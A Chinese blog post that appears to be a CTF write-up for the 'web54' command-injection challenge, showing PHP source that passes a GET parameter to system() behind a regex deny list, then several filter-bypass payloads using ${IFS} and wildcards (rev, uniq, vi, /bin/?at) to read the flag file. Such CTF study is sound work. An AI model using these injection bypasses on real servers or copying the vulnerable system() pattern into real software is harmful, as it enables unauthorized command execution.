web54笔记(严格过滤+*匹配+nl等)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

其他都差不多,主要是这里使用了很多星号来匹配,比如 .*c.*a.*t.* ,只要内容顺序符合 ...c...a...t...就会被检测,不管在这三个字母前后或者中间有什么,都会匹配成功。

nl 被过滤掉了,我们可以使用 rev 反向输出。

并且这里通配符问号没有被过滤,构造 payload:

?c=rev${IFS}fla?.php

得到:}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc取倒序:

 

在网上还看到了另一个命令:uniq

本来这个命令是用于去除相邻的重复行,但是我们也可以用它来输出文件内容。

构造 payload: ?c=uniq${IFS}f???.php

但是这里在这个通配符上面就有点讲究了,比如:?c=uniq${IFS}f?a?.php 可以,但是 ?c=uniq${IFS}fl??.php 就不行了,?c=uniq${IFS}fla?.php更不行。 目前不知道是什么原因,知道的可以解释下谢谢。

 

此外,还可以使用 vi 命令,构造

payload: ?c=vi${IFS}fla?.php

结果有乱码,但是可以在源码里找到 flag

 

最后再来看题目提示给的

payload: ?c=/bin/?at${IFS}f???????

因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。

查看源代码

posted @ 2025-03-15 10:48  justdoIT*  阅读(11)  评论(0)    收藏  举报